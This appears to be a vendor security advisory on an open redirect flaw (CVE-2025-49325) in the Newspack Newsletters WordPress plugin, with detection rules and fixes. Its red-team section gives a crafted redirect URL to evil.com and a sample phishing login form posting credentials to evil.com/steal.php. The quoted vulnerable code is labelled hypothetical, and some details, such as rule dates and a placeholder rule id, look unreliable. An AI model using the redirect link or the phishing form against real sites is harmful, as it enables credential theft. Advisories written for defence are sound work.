CVE-2025-49325

Executive Summary

CVE-2025-49325 is an open redirect vulnerability in the Automattic Newspack Newsletters plugin for WordPress, affecting versions up to and including 3.13.0. This flaw allows an attacker to craft a URL that, when clicked by a logged-in user, redirects them to an external malicious site. The vulnerability is classified as a phishing attack vector (MITRE T1566) and has a CVSS score of 4.7 (Medium). No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums against the repository. No known malicious packages have been reported, but supply chain risks include compromised plugin updates or third-party mirrors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the redirect.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The redirect can lead to a different security domain.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – The redirect can be used for phishing.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for phishing campaigns targeting WordPress site administrators elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the newspack-newsletters plugin, specifically in the handling of URL parameters that control redirects after newsletter-related actions. The plugin fails to validate or sanitize the redirect_to parameter, allowing an attacker to supply an arbitrary external URL.

Root Cause: The plugin uses a user-supplied URL parameter without proper validation against a whitelist of allowed domains. This is a classic open redirect (CWE-601).

Attack Flow:

1. An attacker crafts a URL like: https://victim-site.com/wp-admin/admin.php?page=newspack-newsletters&redirect_to=https://evil.com/phishing
2. The victim, typically a site administrator, clicks the link.
3. The plugin processes the redirect_to parameter and issues a 302 redirect to https://evil.com/phishing.
4. The victim’s browser navigates to the malicious site, which may mimic a legitimate login page.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack relies on the plugin’s failure to validate redirect destinations, not on the core WordPress or server software.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on common secure coding practices.

Vulnerable Code (newspack-newsletters/includes/class-newsletters.php):

function handle_redirect() {
    $redirect_to = $_GET['redirect_to'];
    wp_redirect( $redirect_to );
    exit;
}

Patched Code (Hypothetical):

function handle_redirect() {
    $redirect_to = $_GET['redirect_to'];
    $allowed_hosts = array( 'example.com', 'sub.example.com' );
    $parsed_url = parse_url( $redirect_to );
    if ( in_array( $parsed_url['host'], $allowed_hosts ) ) {
        wp_redirect( $redirect_to );
    } else {
        wp_redirect( home_url() );
    }
    exit;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Newspack Newsletters <= 3.13.0 installed.
• A controlled external server (e.g., evil.com) to host a phishing page.

Exploitation Steps:

1. Identify the vulnerable endpoint: wp-admin/admin.php?page=newspack-newsletters
2. Craft a malicious URL:

   https://victim-site.com/wp-admin/admin.php?page=newspack-newsletters&redirect_to=https://evil.com/phishing
   

3. Send the link to a target user (e.g., via email or social engineering).
4. When the user clicks, they are redirected to evil.com/phishing.

Example Phishing Page (evil.com/phishing/index.html):

<!DOCTYPE html>
<html>
<head><title>Login</title></head>
<body>
    <form action="https://evil.com/steal.php" method="POST">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <input type="submit" value="Login">
    </form>
</body>
</html>

Blue Team

Detection & Prevention:

• Monitor for unusual redirect_to parameters in access logs.
• Implement a Web Application Firewall (WAF) rule to block external redirects.
• Use security plugins that validate redirect destinations.

Lab Setup for Testing:

1. Install a local WordPress instance with the vulnerable plugin.
2. Use a tool like Burp Suite to intercept and modify the redirect_to parameter.
3. Verify the redirect behavior.

Indicators of Compromise (IOCs)

• URL Patterns: admin.php?page=newspack-newsletters&redirect_to=https?://[^/]*
• Access Log Entries: Requests to /wp-admin/admin.php with redirect_to pointing to external domains.
• Network Traffic: Outbound connections to known phishing or malicious domains shortly after a redirect.
• File Hashes: (None specific to this CVE, but monitor for modified plugin files.)

Detection Engineering

YARA Rule

rule CVE_2025_49325_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in Newspack Newsletters plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49325"
    strings:
        $redirect_param = "redirect_to="
        $plugin_page = "page=newspack-newsletters"
        $external_url = /https?:\/\/[^\/]*\.[^\/]*/
    condition:
        $redirect_param and $plugin_page and #external_url > 0
}

Sigma Rule

title: CVE-2025-49325 Open Redirect in Newspack Newsletters
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with redirect_to parameter pointing to external domains
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "page=newspack-newsletters&redirect_to="
    filter:
        cs-uri-query|contains: "redirect_to=/wp-admin/"
    condition: selection and not filter
falsepositives:
    - Legitimate redirects to allowed domains
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49325 Open Redirect in Newspack Newsletters"; flow:to_server; content:"page=newspack-newsletters"; http_uri; content:"redirect_to="; http_uri; pcre:"/redirect_to=https?:\/\/[^\/]*\.[^\/]*/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Newspack Newsletters plugin until a patch is released.
2. Implement a WAF rule to block external redirects from the vulnerable endpoint.
3. Educate users about phishing risks and to verify URLs before clicking.

Long-Term Fix:

• Apply the official patch from Automattic when available.
• Update to a patched version (currently none).
• Consider using a redirect validation library or WordPress’s built-in wp_safe_redirect() function.

Workaround:

• Add a custom filter to validate redirect destinations:

add_filter( 'wp_redirect', function( $location ) {
    $allowed_hosts = array( 'yourdomain.com' );
    $parsed = parse_url( $location );
    if ( ! in_array( $parsed['host'], $allowed_hosts ) ) {
        return home_url();
    }
    return $location;
});

Valters IT
Securing Digital Frontiers